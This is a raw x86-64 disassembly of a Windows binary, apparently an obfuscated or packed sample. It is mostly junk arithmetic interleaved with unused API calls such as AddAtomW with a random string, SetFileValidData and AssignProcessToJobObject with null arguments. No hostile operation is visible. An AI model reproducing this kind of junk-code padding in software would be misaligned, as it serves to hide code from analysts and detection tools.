call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd3b4], eax
mov rax, qword [0x1402bf3f8]
mov ecx, dword [rsp + 0xd854]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8d60], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xceec], eax
mov rax, qword [rsp + 0x1acd8]
mov eax, dword [rax]
mov dword [rsp + 0xe2d0], eax
mov eax, dword [rsp + 0xac30]
mov ecx, dword [rsp + 0xb7e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdd74], eax
movzx eax, word [rsp + 0x2f14]
mov word [rsp + 0x3d34], ax
movzx eax, byte [rsp + 0x873]
mov rcx, qword [rsp + 0x1a198]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402bf660], al
mov rax, qword [rsp + 0x19ef0]
mov rcx, qword [rsp + 0x1acc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9684], eax
lea rdx, [rsp + 0xd3f8]
mov rcx, qword [rsp + 0x1a400]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xe2d4], eax
mov rax, qword [rsp + 0x1aa68]
mov eax, dword [rax]
mov dword [rsp + 0xe2d8], eax
mov eax, dword [rsp + 0xe174]
mov ecx, dword [rsp + 0x928c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf50], eax
mov rax, qword [rsp + 0x1b288]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcaf8], eax
lea rax, [rsp + 0xd5bc]
mov qword [rsp + 0x1b398], rax
movsx eax, byte [rsp + 0x820]
movsx ecx, byte [rsp + 0x69c]
and eax, ecx
mov byte [rsp + 0x28b], al
mov rax, qword [rsp + 0x1a8a8]
movsx eax, word [rax]
mov rcx, qword [0x1402bf470]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x23e4], ax
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xdadc], eax
mov rax, qword [rsp + 0x1a5b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c4]
sub eax, ecx
mov byte [rsp + 0x7f6], al
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad9c0], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd0b0], eax
mov rax, qword [0x1402bf348]
mov ecx, dword [rsp + 0xd474]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd94c], eax
mov rax, qword [rsp + 0x1ab60]
mov eax, dword [rax]
mov dword [rsp + 0xe2dc], eax
movzx eax, byte [rsp + 0x860]
mov rcx, qword [rsp + 0x1a0a0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x8a1], al
movzx eax, word [rsp + 0x3b9c]
mov word [rsp + 0x3d38], ax
mov rax, qword [rsp + 0x1af18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x909c]
shl eax, cl
mov dword [rsp + 0xb4f0], eax
xor r9d, r9d
lea r8, [rsp + 0x1a670]
mov rdx, qword [rsp + 0x1a1e0]
mov rcx, qword [rsp + 0x1b1b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xe2e0], eax
mov eax, dword [rsp + 0xd998]
movzx ecx, al
mov eax, dword [rsp + 0xc91c]
shr eax, cl
mov dword [rsp + 0x7e8c], eax
mov rax, qword [rsp + 0x1a9e0]
mov rcx, qword [rsp + 0x1aef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8c00], eax
mov rax, qword [rsp + 0x1b320]
mov rcx, qword [rsp + 0x19b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd0f0], eax
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3a10], ax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x844]
imul eax, ecx
mov byte [0x1402acbfe], al
lea rcx, str.VnfxFa
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3d3c], ax
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
mov word [rsp + 0x3d40], ax
mov eax, dword [rsp + 0xdf38]
mov ecx, dword [rsp + 0xdc18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0dc], eax
mov eax, dword [0x1402ad7ec]
mov dword [rsp + 0xe2e4], eax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1848], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf94], eax
mov rax, qword [rsp + 0x1aba8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1aa98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1aa78]
mov byte [rcx], al
lea rax, [0x1402acc5b]
mov qword [rsp + 0x1b3a0], rax
movzx eax, word [rsp + 0x22f8]
movzx ecx, word [rsp + 0x181c]
add eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0x19ef0]
mov ecx, dword [0x1402ad74c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaf5c], eax
lea rcx, [rsp + 0x2afc8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov dword [0x1402bf280], eax
mov rax, qword [rsp + 0x19f18]
mov ecx, dword [rsp + 0xbee8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1b1c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ad28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd84c], eax
mov rax, qword [rsp + 0x1ac10]
mov eax, dword [rax]
mov dword [rsp + 0xe2e8], eax
mov rax, qword [rsp + 0x1a7c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3934]
imul eax, ecx
mov word [rsp + 0x3348], ax
movzx eax, byte [rsp + 0x838]
mov byte [rsp + 0x918], al
mov eax, dword [rsp + 0xe0f0]
mov ecx, dword [rsp + 0xd7e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4b0], eax
mov eax, dword [rsp + 0xe248]
mov rcx, qword [rsp + 0x1b070]
mov qword [rsp + 0x1b3a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b3a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xdcfc], eax
mov rax, qword [rsp + 0x1a6f8]
mov rcx, qword [0x1402bf4b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9380], eax
mov rax, qword [rsp + 0x1b0e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1b0e8]
mov qword [rsp + 0x1b3b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b3b0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad6b0], eax
movzx eax, byte [rsp + 0x90f]
movzx ecx, byte [rsp + 0x7f4]
or eax, ecx
mov byte [rsp + 0x7f7], al
lea rax, [rsp + 0x2dc0]
mov qword [rsp + 0x1b3b8], rax
movsx eax, byte [rsp + 0x88f]
movsx ecx, byte [rsp + 0xb4]
add eax, ecx
mov byte [rsp + 0x8c9], al
movsx eax, word [rsp + 0x3cd0]
mov rcx, qword [0x1402bf470]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x38e0], ax
mov rax, qword [rsp + 0x1a410]
mov eax, dword [rax]
mov dword [rsp + 0xe2ec], eax
mov rax, qword [rsp + 0x1af20]
mov ecx, dword [rsp + 0xcfb0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99ac], eax
movzx eax, byte [rsp + 0x8cb]
mov byte [rsp + 0x919], al
movzx eax, word [0x1402bf6a4]
mov rcx, qword [rsp + 0x1b3b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3838], ax
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcfa4], eax
mov rax, qword [rsp + 0x1ad80]
mov rcx, qword [rsp + 0x1a528]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad630], eax
mov eax, dword [0x1402ad8f8]
mov ecx, dword [rsp + 0xdc1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1d8], eax
mov rax, qword [rsp + 0x1a450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd488], eax
mov rax, qword [rsp + 0x1a478]
mov rcx, qword [0x1402bf4e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc1a4], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov word [rsp + 0x3d44], ax
movzx eax, byte [rsp + 0x662]
movzx ecx, byte [rsp + 0x7ec]
add eax, ecx
mov byte [rsp + 0x830], al
mov eax, dword [rsp + 0xd170]
mov dword [rsp + 0xe2f0], eax
mov rax, qword [0x1402bf648]
mov ecx, dword [rsp + 0xe200]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xe280], eax
mov eax, dword [rsp + 0xdca0]
movzx ecx, al
mov eax, dword [rsp + 0xd460]
shl eax, cl
mov dword [rsp + 0xdab4], eax
mov eax, dword [0x1402ad6b4]
movzx ecx, al
mov eax, dword [rsp + 0xa1dc]
sar eax, cl
mov dword [0x1402ad9c4], eax
mov eax, dword [rsp + 0xccc0]
mov dword [rsp + 0xe2f4], eax
movsx eax, byte [rsp + 0x812]
mov rcx, qword [rsp + 0x1aa78]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1aba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a340]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3978]
or eax, ecx
mov word [rsp + 0x2128], ax
movzx eax, word [rsp + 0x3828]
mov rcx, qword [rsp + 0x1a500]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3cb4], ax
movzx eax, byte [rsp + 0x8de]
mov rcx, qword [0x1402bf490]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x910], al
mov eax, dword [rsp + 0xa264]
mov dword [rsp + 0xe2f8], eax
mov rax, qword [rsp + 0x1ac10]
mov rcx, qword [rsp + 0x1ae68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xdd9c], eax
mov rax, qword [rsp + 0x1a868]
movzx eax, byte [rax]
mov byte [rsp + 0x91a], al
lea rax, [rsp + 0x2a80]
mov qword [0x1402bf278], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xe2fc], eax
mov eax, dword [rsp + 0xdbf8]
mov ecx, dword [rsp + 0xcfdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5c4], eax
mov eax, dword [rsp + 0xc94c]
mov ecx, dword [rsp + 0xd038]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaee4], eax
mov rax, qword [0x1402bf390]
mov ecx, dword [rsp + 0xd38c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9fb4], eax
mov rax, qword [rsp + 0x1a410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd03c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb7c], eax
movzx eax, byte [rsp + 0x89b]
mov byte [rsp + 0x91b], al
mov rax, qword [0x1402bf570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a40]
add eax, ecx
mov word [rsp + 0x3a48], ax
mov eax, dword [rsp + 0xcf64]
mov dword [rsp + 0xe300], eax
mov rax, qword [rsp + 0x1b138]
mov rcx, qword [rsp + 0x1b238]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb2dc], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd880], eax
mov rax, qword [rsp + 0x1afa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb8b], al
movsx eax, word [rsp + 0x37b0]
movsx ecx, word [rsp + 0x3be0]
add eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [0x1402bf430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x72e], al
movzx eax, word [rsp + 0x1888]
cdq
mov ecx, 0x194
idiv ecx
mov word [rsp + 0x1b68], ax
mov eax, dword [rsp + 0xb8b4]
mov dword [rsp + 0xe304], eax
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0x9358]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xce4c], eax
mov rax, qword [rsp + 0x1abc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcd70]
shl eax, cl
mov dword [rsp + 0xdc50], eax
mov rax, qword [rsp + 0x1b0e8]
mov eax, dword [rax]
mov dword [rsp + 0xe308], eax
mov rax, qword [rsp + 0x19f60]
mov ecx, dword [rsp + 0xe218]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcdf8], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2964]
imul eax, ecx
mov word [rsp + 0x23ac], ax
mov rax, qword [rsp + 0x1a188]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x804]
and eax, ecx
mov byte [0x1402acccb], al
mov eax, dword [rsp + 0xd404]
mov ecx, dword [rsp + 0xd240]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xde5c], eax
mov rax, qword [rsp + 0x1aa68]
mov ecx, dword [0x1402bf300]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdc9c], eax
mov eax, dword [rsp + 0xd1d8]
mov dword [rsp + 0xe30c], eax
mov rax, qword [rsp + 0x1a968]
mov rcx, qword [rsp + 0x1a3a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19e68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x81b]
mov byte [rsp + 0x91c], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a2e8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3b6c], ax
movzx eax, byte [rsp + 0x87d]
mov byte [rsp + 0x91d], al
mov rax, qword [rsp + 0x1a340]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a818]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1ab50]
mov word [rcx], ax
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8098]
add ecx, eax
mov eax, ecx
mov dword [0x1402bf528], eax
mov rax, qword [rsp + 0x1a808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9778]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xda10], eax
movzx eax, word [rsp + 0x2bb0]
mov rcx, qword [0x1402bf700]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3390], ax
mov rax, qword [rsp + 0x1b3a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a5b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7bb], al
movzx ecx, word [rsp + 0x3668]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3b74], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x39a4
mov rcx, qword [rsp + 0x19fc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe310], eax
mov eax, dword [rsp + 0xc658]
mov dword [rsp + 0xe314], eax
mov rax, qword [0x1402bf5d0]
mov ecx, dword [rsp + 0xbac8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd8a4], eax
mov eax, dword [rsp + 0xb240]
movzx ecx, al
mov eax, dword [rsp + 0xe1b8]
sar eax, cl
mov dword [rsp + 0xd8c0], eax
movzx ecx, word [rsp + 0x37e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3a78], ax
mov eax, dword [rsp + 0xdd2c]
mov dword [rsp + 0xe318], eax
movzx eax, word [rsp + 0x3a90]
mov rcx, qword [rsp + 0x1a7c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1a650]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19e48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402acc17], al
mov eax, dword [0x1402ad69c]
mov ecx, dword [rsp + 0xdc7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f38], eax
mov eax, dword [rsp + 0xdb60]
mov ecx, dword [rsp + 0xa1d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x942c], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa628]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1acb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9418]
mov dword [rsp + 0xe31c], eax
mov rax, qword [rsp + 0x1a140]
mov ecx, dword [rsp + 0xe298]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd5dc], eax
lea rax, [rsp + 0x2a5]
mov qword [rsp + 0x1b3c0], rax
movsx eax, word [rsp + 0x3874]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3778], ax
movzx eax, byte [rsp + 0x7cf]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x873], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [0x1402bf272], ax
mov eax, dword [rsp + 0xd334]
mov dword [rsp + 0xe320], eax
mov rax, qword [rsp + 0x1aa38]
mov rcx, qword [rsp + 0x19f58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd3c4], eax
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a398]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x737], al
mov rax, qword [0x1402bf278]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b88], ax
mov eax, dword [rsp + 0xad98]
mov dword [rsp + 0xe324], eax
mov rax, qword [rsp + 0x1ac88]
mov ecx, dword [rsp + 0xdfac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd804], eax
mov rax, qword [rsp + 0x1b248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9404], eax
mov eax, dword [rsp + 0x7f8c]
mov dword [rsp + 0xe328], eax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a120]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1402bf6e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x3a68]
mov rcx, qword [rsp + 0x1ae70]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x391c], ax
mov rax, qword [rsp + 0x1a0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe050]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x84e8], eax
mov rax, qword [rsp + 0x1ab58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad874]
sar eax, cl
mov dword [rsp + 0xe284], eax
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3d28], ax
movzx eax, byte [rsp + 0x53e]
mov byte [rsp + 0x91e], al
mov rcx, qword [rsp + 0x19db0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xdf20], eax
movzx eax, byte [0x1402acb8a]
imul eax, eax, 0x67
mov byte [rsp + 0x8ed], al
mov rax, qword [rsp + 0x1ae70]
movzx eax, word [rax]
mov word [rsp + 0x3d48], ax
lea rcx, [rsp + 0x2b0b8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x19ea8]
mov rcx, qword [rsp + 0x19b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xe064], eax
mov rax, qword [0x1402bf378]
mov ecx, dword [rsp + 0xdb58]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad9c8], eax
mov rax, qword [rsp + 0x19f18]
mov rcx, qword [rsp + 0x1aac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdf48], eax
mov eax, dword [rsp + 0xe320]
mov ecx, dword [rsp + 0xca00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb39c], eax
mov rax, qword [rsp + 0x1a830]
mov rcx, qword [rsp + 0x1a1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8cc0], eax
mov rax, qword [rsp + 0x1a7c0]
movzx eax, word [rax]
mov word [rsp + 0x3d4c], ax
movzx eax, byte [rsp + 0x8ed]
movzx ecx, byte [rsp + 0x787]
imul eax, ecx
mov byte [rsp + 0x7e9], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1abd8]
mov eax, dword [rax]
mov dword [rsp + 0xe32c], eax
mov eax, dword [rsp + 0x9358]
mov ecx, dword [rsp + 0xd3a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xe208], eax
mov eax, dword [rsp + 0xdb64]
mov ecx, dword [rsp + 0xbee8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb88], eax
mov eax, dword [rsp + 0xe15c]
mov ecx, dword [rsp + 0x8d3c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad944], eax
mov rcx, qword [rsp + 0x1a100]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xdeb4], eax
movzx eax, word [rsp + 0x1980]
mov word [rsp + 0x3d50], ax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x908], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1a5f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x375c]
or eax, ecx
mov word [rsp + 0x353c], ax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x482]
shl eax, cl
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x1a3b0]
mov ecx, dword [rsp + 0x7e8c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd268], eax
mov rax, qword [rsp + 0x1ae68]
mov eax, dword [rax]
mov dword [rsp + 0xe330], eax
movzx eax, byte [0x1402acc16]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7ce], al
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
mov word [rsp + 0x3d54], ax
mov rax, qword [rsp + 0x1a448]
mov ecx, dword [rsp + 0x7e8c]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad9cc], eax
mov rax, qword [0x1402bf420]
mov ecx, dword [rsp + 0xaec4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd434], eax
mov eax, dword [rsp + 0xd190]
mov ecx, dword [rsp + 0xe0f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xafbc], eax
lea rax, [rsp + 0xd764]
mov qword [rsp + 0x1b3c8], rax
mov rax, qword [rsp + 0x1a5b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x511]
add eax, ecx
mov byte [rsp + 0x22d], al
lea rax, [rsp + 0x3968]
mov qword [rsp + 0x1b3d0], rax
mov rax, qword [rsp + 0x1a6f0]
mov rcx, qword [rsp + 0x1a5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9704], eax
mov rax, qword [rsp + 0x1a080]
mov ecx, dword [rsp + 0xd784]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd9b0], eax
mov rax, qword [rsp + 0x1aea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa478]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9700], eax
mov rax, qword [0x1402bf628]
mov rcx, qword [rsp + 0x19d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402bf294], eax
xor r9d, r9d
lea r8, [rsp + 0x1ad40]
mov rdx, qword [rsp + 0x1b000]
mov rcx, qword [rsp + 0x1aef0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd4dc], eax
mov eax, dword [rsp + 0xd280]
mov ecx, dword [rsp + 0xb000]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3d0], eax
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0x91f], al
mov rax, qword [0x1402bf708]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x389c]
shl eax, cl
mov word [rsp + 0x3874], ax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov byte [rsp + 0x920], al
mov rax, qword [rsp + 0x1b100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d6c]
cdq
idiv ecx
mov word [rsp + 0x39dc], ax
mov eax, dword [rsp + 0xdfd8]
mov rcx, qword [rsp + 0x1a380]
mov qword [rsp + 0x1b3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b3d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xdd28], eax
mov rax, qword [rsp + 0x1ab58]
mov ecx, dword [rsp + 0xd778]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8814], eax
mov rcx, qword [rsp + 0x19d88]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xe334], eax
movzx eax, word [rsp + 0x38f4]
mov rcx, qword [rsp + 0x1a5a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0x1abc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a188]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402accce], al
mov eax, dword [rsp + 0xd498]
mov dword [rsp + 0xe338], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0xb404]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14028ca7c
movzx eax, word [rsp + 0x35a8]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x35cc], ax
movzx eax, byte [rsp + 0x785]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402acb3a], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19710]
mov qword [rsp + 0x2aee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2aee8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov edx, 0xfa
mov rcx, qword [rsp + 0x2aef0]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0xbc10], eax
mov r8d, dword [rsp + 0xcd98]
mov rax, qword [rsp + 0x196b8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
call fcn.14028d700
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [0x1402bf788]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8754], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xc224]
sar eax, cl
mov dword [rsp + 0x8754], eax
mov eax, dword [rsp + 0xcd4c]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0xcce4]
movzx r8d, word [rsp + 0x35ac]
